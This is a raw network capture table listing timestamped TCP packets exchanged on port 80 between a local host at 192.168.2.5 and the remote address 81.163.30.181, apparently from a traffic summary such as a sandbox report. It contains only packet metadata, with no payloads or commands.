Jan 14, 2022 21:06:07.916548967 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916563988 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916570902 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916593075 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916606903 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916614056 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916637897 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916660070 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916676044 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916682005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916701078 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916704893 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916728020 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916738987 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916750908 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916771889 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916794062 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916805983 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916815996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916831017 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916837931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916861057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916881084 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916881084 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916903019 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916924953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916937113 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916945934 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916965008 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916970015 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916991949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917013884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917026997 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.917036057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917054892 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.917057037 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917079926 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917093039 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.917102098 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917123079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917143106 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.917144060 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917165995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917176962 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.917187929 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917211056 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917227030 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.917232990 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917256117 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917264938 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.917279005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917300940 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917315960 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.917323112 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917345047 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917360067 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.917366982 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917390108 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.917398930 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.917704105 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.935862064 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.936306000 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.942322016 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.964361906 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964392900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964416027 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964441061 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964462996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964485884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964509010 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964531898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964555025 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964576006 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964597940 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964621067 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964643002 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964663982 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964685917 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964706898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964729071 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964731932 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.964751005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964772940 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964778900 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.964796066 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964797020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.964818001 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964845896 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964867115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964888096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964909077 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.964930058 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.965130091 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.973803997 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.973830938 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.973870039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.973892927 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.973916054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.973934889 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.973937988 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.973962069 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.973963022 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.973970890 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.973984957 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974008083 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974029064 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974047899 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974051952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974072933 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974075079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974098921 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974114895 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974121094 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974143028 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974163055 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974165916 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974189997 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974211931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974239111 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974240065 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974261045 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974265099 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974287987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974304914 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974309921 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974333048 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974354029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974370003 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974375963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974396944 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974397898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974420071 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974437952 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974443913 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974467039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974489927 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974510908 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974510908 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974533081 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974534035 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974556923 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974579096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974597931 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974601984 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974622011 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974626064 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974653959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974667072 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974678993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974701881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974724054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974739075 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974745989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974767923 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974769115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974792004 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974814892 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974832058 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974837065 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974857092 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974862099 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974884033 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974905014 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974925995 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974926949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974947929 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974950075 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974971056 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.974988937 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.974994898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975018024 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975038052 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975040913 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975065947 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975080013 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975087881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975111961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975133896 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975152016 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975157022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975174904 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975183010 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975204945 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975223064 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975240946 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975259066 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975281954 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975281954 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975305080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975308895 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975327969 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975348949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975349903 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975373983 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975394964 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975395918 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975418091 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975435019 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975440025 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975462914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975485086 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975502968 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975506067 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975526094 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975528955 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975550890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975572109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975584030 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975594044 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975610018 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975615978 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975636959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975657940 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975671053 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975678921 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975697994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975699902 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975723028 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975739956 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975744963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975768089 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975790977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975802898 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975814104 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975831032 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975836992 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975860119 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975882053 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975893021 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975903034 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975920916 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975925922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975949049 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975970030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.975984097 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.975990057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976008892 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.976013899 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976037979 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976058006 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976073980 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.976079941 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976102114 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.976104021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976125956 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976140976 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.976149082 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976171017 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976186991 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.976191998 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976217031 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976238966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976254940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.976260900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976279974 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.976284981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976308107 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976330042 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976344109 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.976351023 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.976372004 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.976373911 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.977636099 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.977657080 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.995013952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.003207922 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.021523952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021552086 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021574974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021600008 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021621943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021631002 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.021645069 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021668911 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021672964 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.021692038 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021713972 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021714926 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.021738052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021759987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021778107 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.021781921 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021802902 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.021805048 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021827936 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021845102 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.021866083 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021888971 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021907091 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.021913052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021935940 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021958113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.021975040 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.021979094 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.022001982 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.022003889 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.022023916 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.022033930 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.022044897 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.022068024 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.022082090 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.022089005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.022111893 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.022129059 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.022134066 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.024266958 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.049639940 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049676895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049700022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049725056 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049747944 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049767971 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049771070 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.049793005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049815893 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049819946 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.049840927 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049860001 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.049879074 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049902916 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049911976 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.049926996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049951077 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049973965 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.049987078 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.049998999 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050017118 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050023079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050045967 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050067902 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050079107 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050091028 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050106049 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050113916 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050137997 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050167084 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050174952 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050189972 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050204992 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050214052 CET	80	49908	81.163.30.181	192.168.2.5
